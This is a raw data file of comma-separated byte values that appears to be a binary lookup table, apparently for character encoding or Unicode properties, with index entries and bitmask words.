172,142,176,142,198,142,177,142,190,142,197,142,200,142,203,142,
219,142,227,142,252,142,251,142,235,142,254,142,10,143,5,143,
21,143,18,143,25,143,19,143,28,143,31,143,27,143,12,143,
38,143,51,143,59,143,57,143,69,143,66,143,62,143,76,143,
73,143,70,143,78,143,87,143,92,143,98,143,99,143,100,143,
156,143,159,143,163,143,173,143,175,143,183,143,218,143,229,143,
226,143,234,143,239,143,135,144,244,143,5,144,249,143,250,143,
17,144,21,144,33,144,13,144,30,144,22,144,11,144,39,144,
54,144,53,144,57,144,248,143,79,144,80,144,81,144,82,144,
14,144,73,144,62,144,86,144,88,144,94,144,104,144,111,144,
118,144,168,150,114,144,130,144,125,144,129,144,128,144,138,144,
137,144,143,144,168,144,175,144,177,144,181,144,226,144,228,144,
72,98,219,144,2,145,18,145,25,145,50,145,48,145,74,145,
86,145,88,145,99,145,101,145,105,145,115,145,114,145,139,145,
137,145,130,145,162,145,171,145,175,145,170,145,181,145,180,145,
186,145,192,145,193,145,201,145,203,145,208,145,214,145,223,145,
225,145,219,145,252,145,245,145,246,145,30,146,255,145,20,146,
44,146,21,146,17,146,94,146,87,146,69,146,73,146,100,146,
72,146,149,146,63,146,75,146,80,146,156,146,150,146,147,146,
155,146,90,146,207,146,185,146,183,146,233,146,15,147,250,146,
68,147,46,147,25,147,34,147,26,147,35,147,58,147,53,147,
59,147,92,147,96,147,124,147,110,147,86,147,176,147,172,147,
173,147,148,147,185,147,214,147,215,147,232,147,229,147,216,147,
195,147,221,147,208,147,200,147,228,147,26,148,20,148,19,148,
3,148,7,148,16,148,54,148,43,148,53,148,33,148,58,148,
65,148,82,148,68,148,91,148,96,148,98,148,94,148,106,148,
41,146,112,148,117,148,119,148,125,148,90,148,124,148,126,148,
129,148,127,148,130,149,135,149,138,149,148,149,150,149,152,149,
153,149,160,149,168,149,167,149,173,149,188,149,187,149,185,149,
190,149,202,149,246,111,195,149,205,149,204,149,213,149,212,149,
214,149,220,149,225,149,229,149,226,149,33,150,40,150,46,150,
47,150,66,150,76,150,79,150,75,150,119,150,92,150,94,150,
93,150,95,150,102,150,114,150,108,150,141,150,152,150,149,150,
151,150,170,150,167,150,177,150,178,150,176,150,180,150,182,150,
184,150,185,150,206,150,203,150,201,150,205,150,77,137,220,150,
13,151,213,150,249,150,4,151,6,151,8,151,19,151,14,151,
17,151,15,151,22,151,25,151,36,151,42,151,48,151,57,151,
61,151,62,151,68,151,70,151,72,151,66,151,73,151,92,151,
96,151,100,151,102,151,104,151,210,82,107,151,113,151,121,151,
133,151,124,151,129,151,122,151,134,151,139,151,143,151,144,151,
156,151,168,151,166,151,163,151,179,151,180,151,195,151,198,151,
200,151,203,151,220,151,237,151,79,159,242,151,223,122,246,151,
245,151,15,152,12,152,56,152,36,152,33,152,55,152,61,152,
70,152,79,152,75,152,107,152,111,152,112,152,113,152,116,152,
115,152,170,152,175,152,177,152,182,152,196,152,195,152,198,152,
233,152,235,152,3,153,9,153,18,153,20,153,24,153,33,153,
29,153,30,153,36,153,32,153,44,153,46,153,61,153,62,153,
66,153,73,153,69,153,80,153,75,153,81,153,82,153,76,153,
85,153,151,153,152,153,165,153,173,153,174,153,188,153,223,153,
219,153,221,153,216,153,209,153,237,153,238,153,241,153,242,153,
251,153,248,153,1,154,15,154,5,154,226,153,25,154,43,154,
55,154,69,154,66,154,64,154,67,154,62,154,85,154,77,154,
91,154,87,154,95,154,98,154,101,154,100,154,105,154,107,154,
106,154,173,154,176,154,188,154,192,154,207,154,209,154,211,154,
212,154,222,154,223,154,226,154,227,154,230,154,239,154,235,154,
238,154,244,154,241,154,247,154,251,154,6,155,24,155,26,155,
31,155,34,155,35,155,37,155,39,155,40,155,41,155,42,155,
46,155,47,155,50,155,68,155,67,155,79,155,77,155,78,155,
81,155,88,155,116,155,147,155,131,155,145,155,150,155,151,155,
159,155,160,155,168,155,180,155,192,155,202,155,185,155,198,155,
207,155,209,155,210,155,227,155,226,155,228,155,212,155,225,155,
58,156,242,155,241,155,240,155,21,156,20,156,9,156,19,156,
12,156,6,156,8,156,18,156,10,156,4,156,46,156,27,156,
37,156,36,156,33,156,48,156,71,156,50,156,70,156,62,156,
90,156,96,156,103,156,118,156,120,156,231,156,236,156,240,156,
9,157,8,157,235,156,3,157,6,157,42,157,38,157,175,157,
35,157,31,157,68,157,21,157,18,157,65,157,63,157,62,157,
70,157,72,157,93,157,94,157,100,157,81,157,80,157,89,157,
114,157,137,157,135,157,171,157,111,157,122,157,154,157,164,157,
169,157,178,157,196,157,193,157,187,157,184,157,186,157,198,157,
207,157,194,157,217,157,211,157,248,157,230,157,237,157,239,157,
253,157,26,158,27,158,30,158,117,158,121,158,125,158,129,158,
136,158,139,158,140,158,146,158,149,158,145,158,157,158,165,158,
169,158,184,158,170,158,173,158,97,151,204,158,206,158,207,158,
208,158,212,158,220,158,222,158,221,158,224,158,229,158,232,158,
239,158,244,158,246,158,247,158,249,158,251,158,252,158,253,158,
7,159,8,159,183,118,21,159,33,159,44,159,62,159,74,159,
82,159,84,159,99,159,95,159,96,159,97,159,102,159,103,159,
108,159,106,159,119,159,114,159,118,159,149,159,156,159,160,159,
47,88,199,105,89,144,100,116,220,81,153,113,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,96,0,160,0,32,0,32,0,32,0,32,0,
32,0,32,0,224,0,20,1,32,0,32,0,84,1,32,0,
32,0,32,0,32,0,32,0,32,0,116,1,180,1,244,1,
52,2,116,2,180,2,244,2,52,3,116,3,180,3,244,3,
52,4,116,4,180,4,244,4,52,5,116,5,180,5,244,5,
52,6,116,6,32,0,32,0,32,0,32,0,32,0,32,0,
32,0,32,0,32,0,32,0,32,0,32,0,32,0,32,0,
32,0,32,0,32,0,32,0,32,0,32,0,32,0,32,0,
32,0,176,6,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,4,0,254,255,5,0,255,255,6,0,255,255,
7,0,255,255,8,0,255,255,9,0,255,255,10,0,255,255,
11,0,255,255,12,0,0,0,13,0,0,0,14,0,210,199,
15,0,83,133,16,0,255,255,17,0,254,255,18,0,255,255,
19,0,255,255,20,0,255,255,21,0,207,255,22,0,247,207,
23,0,255,255,24,0,255,63,25,0,255,255,26,0,255,255,
27,0,255,127,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,28,0,0,224,29,0,255,31,30,0,0,0,
31,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,32,0,128,0,33,0,0,47,34,0,0,0,
35,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,36,0,112,215,37,0,255,255,38,0,251,255,
39,0,255,255,40,0,255,127,41,0,0,0,42,0,0,0,
43,0,0,0,44,0,254,223,45,0,255,255,46,0,255,255,
47,0,255,255,48,0,255,255,49,0,254,223,50,0,0,0,
51,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,51,0,0,0,52,0,81,51,53,0,99,0,
54,0,13,8,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,55,0,8,0,56,0,64,0,57,0,4,8,
58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,58,0,0,0,59,0,15,0,60,0,0,0,
61,0,0,0,61,0,0,0,62,0,20,0,63,0,0,0,
64,0,0,0,65,0,141,9,66,0,4,100,67,0,129,31,
68,0,48,32,69,0,0,0,70,0,4,0,71,0,195,12,
72,0,0,0,73,0,204,0,74,0,0,0,75,0,32,0,
76,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,76,0,0,0,77,0,4,0,78,0,0,0,
79,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,80,0,15,144,81,0,153,57,82,0,57,153,
83,0,153,153,84,0,4,8,85,0,0,0,86,0,0,0,
87,0,0,0,86,0,0,0,87,0,0,0,88,0,3,0,
89,0,12,48,90,0,192,200,91,0,0,0,92,0,0,128,
93,0,0,0,94,0,96,0,95,0,0,0,96,0,0,0,
97,0,0,0,98,0,5,0,99,0,0,0,100,0,0,164,
101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,102,0,239,255,103,0,63,16,104,0,0,0,
105,0,0,0,106,0,254,255,107,0,255,255,108,0,255,255,
109,0,255,255,110,0,255,255,111,0,15,120,112,0,254,255,
113,0,255,255,114,0,255,255,115,0,255,255,116,0,255,255,
117,0,127,120,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,118,0,191,127,119,0,247,195,120,0,90,237,
121,0,103,155,122,0,191,232,123,0,226,247,124,0,12,3,
125,0,58,194,126,0,101,127,127,0,246,251,128,0,119,249,
129,0,73,6,130,0,223,236,131,0,241,239,132,0,63,225,
133,0,239,232,134,0,15,255,135,0,231,54,136,0,0,192,
137,0,251,127,138,0,205,251,139,0,255,255,140,0,9,214,
141,0,235,255,142,0,126,255,143,0,223,239,144,0,3,232,
145,0,228,250,146,0,127,255,147,0,151,189,148,0,63,192,
149,0,109,245,150,0,243,254,151,0,223,255,152,0,254,127,
153,0,109,10,154,0,239,215,155,0,239,150,156,0,237,52,
157,0,119,33,158,0,123,228,159,0,95,223,160,0,7,180,
161,0,189,102,162,0,189,246,163,0,123,245,164,0,252,227,
165,0,102,78,166,0,223,123,167,0,245,255,168,0,138,181,
169,0,190,159,170,0,255,255,171,0,189,149,172,0,116,127,
173,0,226,81,174,0,125,254,175,0,239,35,176,0,127,63,
177,0,255,245,178,0,116,187,179,0,110,121,180,0,231,102,
181,0,255,103,182,0,255,77,183,0,254,33,184,0,180,71,
185,0,239,31,186,0,184,190,187,0,240,221,188,0,123,198,
189,0,191,163,190,0,173,55,191,0,254,157,192,0,249,190,
193,0,243,127,194,0,251,179,195,0,246,251,196,0,255,23,
197,0,255,199,198,0,111,189,199,0,235,255,200,0,171,191,
201,0,47,255,202,0,239,63,203,0,158,95,204,0,107,242,
205,0,191,203,206,0,156,65,207,0,88,167,208,0,115,239,
209,0,253,45,210,0,45,255,211,0,252,238,212,0,255,255,
213,0,239,5,214,0,30,255,215,0,11,172,216,0,195,255,
217,0,114,123,218,0,221,231,219,0,2,192,220,0,212,111,
221,0,251,184,222,0,123,251,223,0,103,144,224,0,246,255,
225,0,142,255,226,0,215,103,227,0,0,1,228,0,103,247,
229,0,68,244,230,0,243,243,231,0,113,0,232,0,0,204,
233,0,110,123,234,0,243,182,235,0,203,125,236,0,91,0,
237,0,0,216,238,0,223,207,239,0,158,247,240,0,152,127,
241,0,69,128,242,0,250,90,243,0,158,221,244,0,28,2,
245,0,192,226,246,0,96,231,247,0,215,11,248,0,0,146,
249,0,255,187,250,0,95,250,251,0,17,72,252,0,95,191,
253,0,54,5,254,0,241,157,255,0,48,230,0,1,229,123,
1,1,218,80,2,1,47,255,3,1,139,255,4,1,251,105,
5,1,207,166,6,1,159,191,7,1,110,189,8,1,253,247,
9,1,153,233,10,1,229,244,11,1,7,0,12,1,246,239,
13,1,187,222,14,1,14,27,15,1,184,246,16,1,159,23,
17,1,9,33,18,1,201,217,19,1,124,240,20,1,219,34,
21,1,241,247,22,1,125,63,23,1,32,234,24,1,211,164,
25,1,55,166,26,1,3,190,27,1,183,199,28,1,150,11,
29,1,37,211,30,1,171,183,31,1,217,176,32,1,71,75,
33,1,14,95,34,1,182,117,35,1,255,247,36,1,54,218,
37,1,143,62,38,1,100,158,39,1,125,63,40,1,190,255,
41,1,239,193,42,1,216,195,43,1,191,239,44,1,175,255,
45,1,124,59,46,1,30,124,47,1,236,170,48,1,184,241,
49,1,141,94,50,1,90,47,51,1,31,246,52,1,248,205,
53,1,214,136,54,1,27,114,55,1,14,213,56,1,185,167,
57,1,97,16,58,1,243,19,59,1,33,68,60,1,236,52,
61,1,128,204,62,1,0,8,63,1,77,222,64,1,133,16,
65,1,46,253,66,1,86,155,67,1,193,20,68,1,107,70,
69,1,96,44,70,1,3,27,71,1,192,42,72,1,38,52,
73,1,85,65,74,1,43,24,75,1,247,253,76,1,120,203,
77,1,43,245,78,1,251,255,79,1,251,191,80,1,124,243,
81,1,255,151,82,1,255,178,83,1,221,239,84,1,247,203,
85,1,123,229,86,1,246,255,87,1,202,196,88,1,93,123,
89,1,103,255,90,1,99,237,91,1,43,86,92,1,191,243,
93,1,115,62,94,1,128,149,95,1,23,160,96,1,79,31,
97,1,254,93,98,1,160,10,99,1,132,34,100,1,3,231,
101,1,87,44,102,1,194,104,103,1,246,143,104,1,220,10,
105,1,18,162,106,1,76,93,107,1,39,146,108,1,23,182,
109,1,73,198,110,1,158,29,111,1,61,170,112,1,133,88,
113,1,149,55,114,1,136,122,115,1,77,107,116,1,251,75,
117,1,190,107,118,1,205,56,119,1,118,175,120,1,33,233,
121,1,237,97,122,1,185,90,123,1,243,217,124,1,30,125,
125,1,125,255,126,1,155,204,127,1,224,20,128,1,245,61,
129,1,234,225,130,1,78,223,131,1,127,252,132,1,47,27,
133,1,219,221,134,1,222,255,135,1,251,187,136,1,254,251,
137,1,243,249,138,1,179,117,139,1,219,59,140,1,223,190,
141,1,191,247,142,1,191,191,143,1,207,115,144,1,151,255,
145,1,27,51,146,1,184,59,147,1,223,115,148,1,23,255,
149,1,111,189,150,1,128,228,151,1,253,191,152,1,243,175,
153,1,42,4,154,1,207,63,155,1,247,166,156,1,191,191,
157,1,163,192,158,1,94,127,159,1,254,237,160,1,253,7,
161,1,255,121,162,1,244,207,163,1,58,255,164,1,175,1,
165,1,255,63,166,1,207,247,167,1,255,222,168,1,134,29,
169,1,243,242,170,1,246,127,171,1,40,231,172,1,173,217,
173,1,255,217,174,1,159,108,175,1,223,183,176,1,177,127,
177,1,68,87,178,1,207,255,179,1,33,240,180,1,238,178,
181,1,212,245,182,1,155,119,183,1,127,252,184,1,207,206,
185,1,29,171,186,1,223,123,187,1,127,93,188,1,25,225,
189,1,74,246,190,1,29,230,191,1,255,89,192,1,64,25,
193,1,234,254,194,1,244,247,195,1,255,63,196,1,3,244,
197,1,254,240,198,1,158,63,199,1,75,131,200,1,128,175,
201,1,96,246,202,1,94,254,203,1,189,25,204,1,224,123,
205,1,246,189,206,1,157,215,207,1,117,207,208,1,255,255,
209,1,52,104,210,1,123,195,211,1,127,28,212,1,43,86,
213,1,124,7,214,1,64,166,215,1,221,81,216,1,117,183,
217,1,113,228,218,1,4,200,219,1,30,189,220,1,139,162,
221,1,88,45,222,1,168,129,223,1,47,239,224,1,122,123,
225,1,13,250,226,1,182,126,227,1,183,5,228,1,255,182,
229,1,247,236,230,1,51,135,231,1,88,251,232,1,92,222,
233,1,242,255,234,1,168,163,235,1,247,227,236,1,205,24,
237,1,181,37,238,1,174,87,239,1,167,187,240,1,251,248,
241,1,157,178,242,1,126,219,243,1,213,139,244,1,231,51,
245,1,55,206,246,1,221,247,247,1,126,240,248,1,255,255,
249,1,251,146,250,1,127,222,251,1,134,251,252,1,215,223,
253,1,249,223,254,1,155,123,255,1,199,191,0,2,85,104,
1,2,54,219,2,2,159,211,3,2,80,190,4,2,65,91,
5,2,189,255,6,2,169,235,7,2,248,250,8,2,197,125,
9,2,218,229,10,2,226,211,11,2,123,242,12,2,127,244,
13,2,255,216,14,2,178,218,15,2,235,63,16,2,71,130,
17,2,255,59,18,2,127,199,19,2,159,119,20,2,214,210,
21,2,255,202,22,2,28,0,23,2,216,226,24,2,134,191,
25,2,31,187,26,2,127,117,27,2,191,187,28,2,136,200,
29,2,247,222,30,2,126,161,31,2,216,189,32,2,239,231,
33,2,111,30,34,2,112,191,35,2,255,183,36,2,171,253,
37,2,103,62,38,2,115,255,39,2,207,30,40,2,110,5,
41,2,123,171,42,2,36,70,43,2,184,126,44,2,127,255,
45,2,191,255,46,2,7,100,47,2,118,25,48,2,227,233,
49,2,150,221,50,2,170,125,51,2,203,99,52,2,164,233,
53,2,46,234,54,2,47,156,55,2,190,238,56,2,31,79,
57,2,245,239,58,2,240,79,59,2,103,139,60,2,214,4,
61,2,14,193,62,2,219,106,63,2,131,248,64,2,45,220,
65,2,27,233,66,2,78,19,67,2,123,252,68,2,144,21,
69,2,7,60,70,2,252,134,71,2,199,232,72,2,155,153,
73,2,228,239,74,2,200,118,75,2,93,171,76,2,223,206,
77,2,57,235,78,2,125,46,79,2,224,201,80,2,29,255,
81,2,191,255,82,2,121,122,83,2,92,141,84,2,202,216,
85,2,138,130,86,2,52,227,87,2,159,138,88,2,216,81,
89,2,248,205,90,2,7,236,91,2,181,254,92,2,133,173,
93,2,93,111,94,2,238,51,95,2,253,159,96,2,6,72,
97,2,31,255,98,2,118,182,99,2,255,62,100,2,175,223,
101,2,31,0,102,2,144,220,103,2,142,206,104,2,224,207,
105,2,110,251,106,2,50,0,107,2,128,214,108,2,250,214,
109,2,145,19,110,2,164,81,111,2,254,27,112,2,0,148,
113,2,180,179,114,2,241,221,115,2,102,235,116,2,119,223,
117,2,251,30,118,2,177,15,119,2,40,238,120,2,255,250,
121,2,68,95,122,2,56,239,123,2,222,249,124,2,140,201,
125,2,76,232,126,2,5,176,127,2,73,179,128,2,165,228,
129,2,206,172,130,2,191,255,131,2,58,96,132,2,0,248,
133,2,148,235,134,2,86,183,135,2,122,13,136,2,77,190,
137,2,79,217,138,2,34,128,139,2,158,255,140,2,86,241,
141,2,17,117,142,2,223,121,143,2,223,132,144,2,251,197,
145,2,107,18,146,2,239,5,147,2,48,205,148,2,19,219,
149,2,107,118,150,2,227,170,151,2,162,237,152,2,201,144,
153,2,149,82,154,2,24,95,155,2,50,97,156,2,56,216,
157,2,97,113,158,2,98,70,159,2,244,11,160,2,16,248,
161,2,155,7,162,2,0,141,163,2,122,179,164,2,16,0,
165,2,2,38,166,2,248,154,167,2,16,86,168,2,67,168,
169,2,67,17,170,2,226,94,171,2,229,86,172,2,245,83,
173,2,0,34,174,2,177,149,175,2,52,142,176,2,5,145,
177,2,15,198,178,2,27,91,179,2,253,150,180,2,225,112,
181,2,32,219,182,2,193,35,183,2,137,172,184,2,16,189,
